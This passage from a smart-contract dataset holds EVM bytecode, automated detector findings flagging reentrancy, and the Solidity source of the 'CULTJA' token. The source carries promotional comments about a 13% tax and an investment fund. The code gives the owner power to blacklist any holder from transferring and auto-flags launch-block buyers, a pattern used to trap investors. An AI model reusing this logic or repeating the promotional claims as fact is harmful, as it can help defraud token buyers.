b6012546001600160a01b0316336001600160a01b031614806107b357506013546001600160a01b0316336001600160a01b0316145b6107bc57600080fd5b476107c681611380565b50565b6001600160a01b03811660009081526002602052604081205461067c906113ba565b6000546001600160a01b031633146108155760405162461bcd60e51b81526004016105f690611d82565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108895760405162461bcd60e51b81526004016105f690611d82565b674563918244f400008111156107c657601655565b6000546001600160a01b031633146108c85760405162461bcd60e51b81526004016105f690611d82565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109105760405162461bcd60e51b81526004016105f690611d82565b601855565b6000546001600160a01b0316331461093f5760405162461bcd60e51b81526004016105f690611d82565b600484111561099e5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b60648201526084016105f6565b600e8211156109fa5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b60648201526084016105f6565b6004831115610a5a5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b60648201526084016105f6565b600e811115610ab75760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b60648201526084016105f6565b600893909355600a91909155600955600b55565b6000610678338484610e0a565b6012546001600160a01b0316336001600160a01b03161480610b0d57506013546001600160a01b0316336001600160a01b0316145b610b1657600080fd5b6000610b21306107c9565b90506107c68161143e565b6000546001600160a01b03163314610b565760405162461bcd60e51b81526004016105f690611d82565b60005b82811015610bc7578160056000868685818110610b7857610b78611db7565b9050602002016020810190610b8d9190611c32565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bbf81611de3565b915050610b59565b50505050565b6000546001600160a01b03163314610bf75760405162461bcd60e51b81526004016105f690611d82565b601755565b6000546001600160a01b03163314610c265760405162461bcd60e51b81526004016105f690611d82565b6001600160a01b038116610c8b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f6565b6001600160a01b038216610da95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f6565b6001600160a01b038216610ed05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f6565b60008111610f325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f6565b6000546001600160a01b03848116911614801590610f5e57506000546001600160a01b03838116911614155b1561123f57601554600160a01b900460ff16610ff7576000546001600160a01b03848116911614610ff75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f6565b6016548111156110495760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f6565b6001600160a01b03831660009081526010602052604090205460ff1615801561108b57506001600160a01b03821660009081526010602052604090205460ff16155b6110e35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f6565b6015546001600160a01b038381169116146111685760175481611105846107c9565b61110f9190611dfe565b106111685760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f6565b6000611173306107c9565b60185460165491925082101590821061118c5760165491505b8080156111a35750601554600160a81b900460ff16155b80156111bd57506015546001600160a01b03868116911614155b80156111d25750601554600160b01b900460ff165b80156111f757506001600160a01b03851660009081526005602052604090205460ff16155b801561121c57506001600160a01b03841660009081526005602052604090205460ff16155b1561123c5761122a8261143e565b47801561123a5761123a47611380565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128157506001600160a01b03831660009081526005602052604090205460ff165b806112b357506015546001600160a01b038581169116148015906112b357506015546001600160a01b03848116911614155b156112c05750600061133a565b6015546001600160a01b0385811691161480156112eb57506014546001600160a01b03848116911614155b156112fd57600854600c55600954600d555b6015546001600160a01b03848116911614801561132857506014546001600160a01b03858116911614155b1561133a57600a54600c55600b54600d555b610bc7848484846115b8565b6000818484111561136a5760405162461bcd60e51b81526004016105f69190611b70565b5060006113778486611e16565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610667573d6000803e3d6000fd5b60006006548211156114215760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f6565b600061142b6115e6565b90506114378382611609565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148657611486611db7565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115039190611e2d565b8160018151811061151657611516611db7565b6001600160a01b03928316602091820292909201015260145461153c9130911684610ce6565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611575908590600090869030904290600401611e4a565b600060405180830381600087803b15801561158f57600080fd5b505af11580156115a3573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115c5576115c561164b565b6115d0848484611679565b80610bc757610bc7600e54600c55600f54600d55565b60008060006115f3611770565b90925090506116028282611609565b9250505090565b600061143783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b2565b600c5415801561165b5750600d54155b1561166257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061168b876117e0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116bd908761183d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116ec908661187f565b6001600160a01b03891660009081526002602052604090205561170e816118de565b6117188483611928565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175d91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061178c8282611609565b8210156117a957505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117d35760405162461bcd60e51b81526004016105f69190611b70565b5060006113778486611ebb565b60008060008060008060008060006117fd8a600c54600d5461194c565b925092509250600061180d6115e6565b905060008060006118208e8787876119a1565b919e509c509a509598509396509194505050505091939550919395565b600061143783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611346565b60008061188c8385611dfe565b9050838110156114375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f6565b60006118e86115e6565b905060006118f683836119f1565b30600090815260026020526040902054909150611913908261187f565b30600090815260026020526040902055505050565b600654611935908361183d565b600655600754611945908261187f565b6007555050565b6000808080611966606461196089896119f1565b90611609565b9050600061197960646119608a896119f1565b905060006119918261198b8b8661183d565b9061183d565b9992985090965090945050505050565b60008080806119b088866119f1565b905060006119be88876119f1565b905060006119cc88886119f1565b905060006119de8261198b868661183d565b939b939a50919850919650505050505050565b600082611a005750600061067c565b6000611a0c8385611edd565b905082611a198583611ebb565b146114375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f6565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c657600080fd5b8035611aa681611a86565b919050565b60006020808385031215611abe57600080fd5b823567ffffffffffffffff80821115611ad657600080fd5b818501915085601f830112611aea57600080fd5b813581811115611afc57611afc611a70565b8060051b604051601f19603f83011681018181108582111715611b2157611b21611a70565b604052918252848201925083810185019188831115611b3f57600080fd5b938501935b82851015611b6457611b5585611a9b565b84529385019392850192611b44565b98975050505050505050565b600060208083528351808285015260005b81811015611b9d57858101830151858201604001528201611b81565b81811115611baf576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bd857600080fd5b8235611be381611a86565b946020939093013593505050565b600080600060608486031215611c0657600080fd5b8335611c1181611a86565b92506020840135611c2181611a86565b929592945050506040919091013590565b600060208284031215611c4457600080fd5b813561143781611a86565b80358015158114611aa657600080fd5b600060208284031215611c7157600080fd5b61143782611c4f565b600060208284031215611c8c57600080fd5b5035919050565b60008060008060808587031215611ca957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cda57600080fd5b833567ffffffffffffffff80821115611cf257600080fd5b818601915086601f830112611d0657600080fd5b813581811115611d1557600080fd5b8760208260051b8501011115611d2a57600080fd5b602092830195509350611d409186019050611c4f565b90509250925092565b60008060408385031215611d5c57600080fd5b8235611d6781611a86565b91506020830135611d7781611a86565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611df757611df7611dcd565b5060010190565b60008219821115611e1157611e11611dcd565b500190565b600082821015611e2857611e28611dcd565b500390565b600060208284031215611e3f57600080fd5b815161143781611a86565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e9a5784516001600160a01b031683529383019391830191600101611e75565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ed857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ef757611ef7611dcd565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df87640dc4d8f94be66af4c5e5cda0bed16131ed9bc2b65fe259a508dd6574f964736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,343 |
0xdec3b540b769e5f0c7663157def7306e478aa3fb
|
// CULTJA
// Invest like a ninja with precision, not a dumb.
// The CULTJA are stealthy attackers of the ninja ranks. They were capable of gaining alternative or inside ground when their enemy least expected it. They are famous in conducting assassination with precision.
// CULTJA is a professional ninja that can not only assassinate but also invest with precision.CULTJA aims to offer an easy and simple way to invest in potential projects. With the support of our CULTJA Fund, we believe it can enable users to filter out projects with no prospect and invest in promising projects.
// CULTJA Fund
// Every transaction will result in a 13% tax being placed into the CULTJA. The Fund will be used to fund other projects that CULTJA finds auspicious. CULTJA has been actively engaged with various projects in which CULTJA would propose to invest and closely assess their token and staking models against sustainability risks and opportunities, with a focus on enhancing and improving their operating strength through the adoption of sustainability best practices.
// Every smart contract combination will be examined by our professional team to ensure its safety. The fund's profits will be utilized to purchase back tokens.
// Tokenomics:
// 👉 Total of 13% tax
// 👉 2 % Dev/Team Tax
// 👉 3 % Burn
// 👉 3% Marketing
// 👉 5 % CULTJA Fund
// ✅ Total supply: 100,000,000,000
// ✅ Max Buy at launch : 2%
// ⚡️ No Dev Tokens/Wallets
// ⚡️ Community and Owner Driven project.
// https://t.me/cultja
// https://cultja.ninja
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract CULTJA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "CULTJA";
string private constant _symbol = "CULTJA";
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount <= _tTotal.mul(1).div(100));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.mul(3).div(13);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 13);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103be578063cf0848f7146103d3578063cf9d4afa146103f3578063dd62ed3e14610413578063e6ec64ec14610459578063f2fde38b1461047957600080fd5b8063715018a6146103215780638da5cb5b1461033657806390d49b9d1461035e57806395d89b4114610172578063a9059cbb1461037e578063b515566a1461039e57600080fd5b806331c2d8471161010857806331c2d8471461023a5780633bbac5791461025a578063437823ec14610293578063476343ee146102b35780635342acb4146102c857806370a082311461030157600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b057806318160ddd146101e057806323b872dd14610206578063313ce5671461022657600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610499565b005b34801561017e57600080fd5b50604080518082018252600681526543554c544a4160d01b602082015290516101a79190611900565b60405180910390f35b3480156101bc57600080fd5b506101d06101cb36600461197a565b6104e5565b60405190151581526020016101a7565b3480156101ec57600080fd5b5068056bc75e2d631000005b6040519081526020016101a7565b34801561021257600080fd5b506101d06102213660046119a6565b6104fc565b34801561023257600080fd5b5060096101f8565b34801561024657600080fd5b506101706102553660046119fd565b610565565b34801561026657600080fd5b506101d0610275366004611ac2565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561029f57600080fd5b506101706102ae366004611ac2565b6105fb565b3480156102bf57600080fd5b50610170610649565b3480156102d457600080fd5b506101d06102e3366004611ac2565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030d57600080fd5b506101f861031c366004611ac2565b610683565b34801561032d57600080fd5b506101706106a5565b34801561034257600080fd5b506000546040516001600160a01b0390911681526020016101a7565b34801561036a57600080fd5b50610170610379366004611ac2565b6106db565b34801561038a57600080fd5b506101d061039936600461197a565b610755565b3480156103aa57600080fd5b506101706103b93660046119fd565b610762565b3480156103ca57600080fd5b5061017061087b565b3480156103df57600080fd5b506101706103ee366004611ac2565b610932565b3480156103ff57600080fd5b5061017061040e366004611ac2565b61097d565b34801561041f57600080fd5b506101f861042e366004611adf565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046557600080fd5b50610170610474366004611b18565b610bd8565b34801561048557600080fd5b50610170610494366004611ac2565b610c15565b6000546001600160a01b031633146104cc5760405162461bcd60e51b81526004016104c390611b31565b60405180910390fd5b60006104d730610683565b90506104e281610cad565b50565b60006104f2338484610e27565b5060015b92915050565b6000610509848484610f4b565b61055b843361055685604051806060016040528060288152602001611cac602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113b7565b610e27565b5060019392505050565b6000546001600160a01b0316331461058f5760405162461bcd60e51b81526004016104c390611b31565b60005b81518110156105f7576000600560008484815181106105b3576105b3611b66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ef81611b92565b915050610592565b5050565b6000546001600160a01b031633146106255760405162461bcd60e51b81526004016104c390611b31565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f7573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f6906113f1565b6000546001600160a01b031633146106cf5760405162461bcd60e51b81526004016104c390611b31565b6106d96000611475565b565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016104c390611b31565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f2338484610f4b565b6000546001600160a01b0316331461078c5760405162461bcd60e51b81526004016104c390611b31565b60005b81518110156105f757600c5482516001600160a01b03909116908390839081106107bb576107bb611b66565b60200260200101516001600160a01b03161415801561080c5750600b5482516001600160a01b03909116908390839081106107f8576107f8611b66565b60200260200101516001600160a01b031614155b156108695760016005600084848151811061082957610829611b66565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087381611b92565b91505061078f565b6000546001600160a01b031633146108a55760405162461bcd60e51b81526004016104c390611b31565b600c54600160a01b900460ff166109095760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c3565b600c805460ff60b81b1916600160b81b17905542600d81905561092d906078611bad565b600e55565b6000546001600160a01b0316331461095c5760405162461bcd60e51b81526004016104c390611b31565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a75760405162461bcd60e51b81526004016104c390611b31565b600c54600160a01b900460ff1615610a0f5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c3565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8a9190611bc5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afb9190611bc5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6c9190611bc5565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c025760405162461bcd60e51b81526004016104c390611b31565b600d811115610c1057600080fd5b600855565b6000546001600160a01b03163314610c3f5760405162461bcd60e51b81526004016104c390611b31565b6001600160a01b038116610ca45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c3565b6104e281611475565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf557610cf5611b66565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d729190611bc5565b81600181518110610d8557610d85611b66565b6001600160a01b039283166020918202929092010152600b54610dab9130911684610e27565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de4908590600090869030904290600401611be2565b600060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c3565b6001600160a01b038216610eea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610faf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c3565b6001600160a01b0382166110115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c3565b600081116110735760405162461bcd60e51b815260206004820152602960248201527f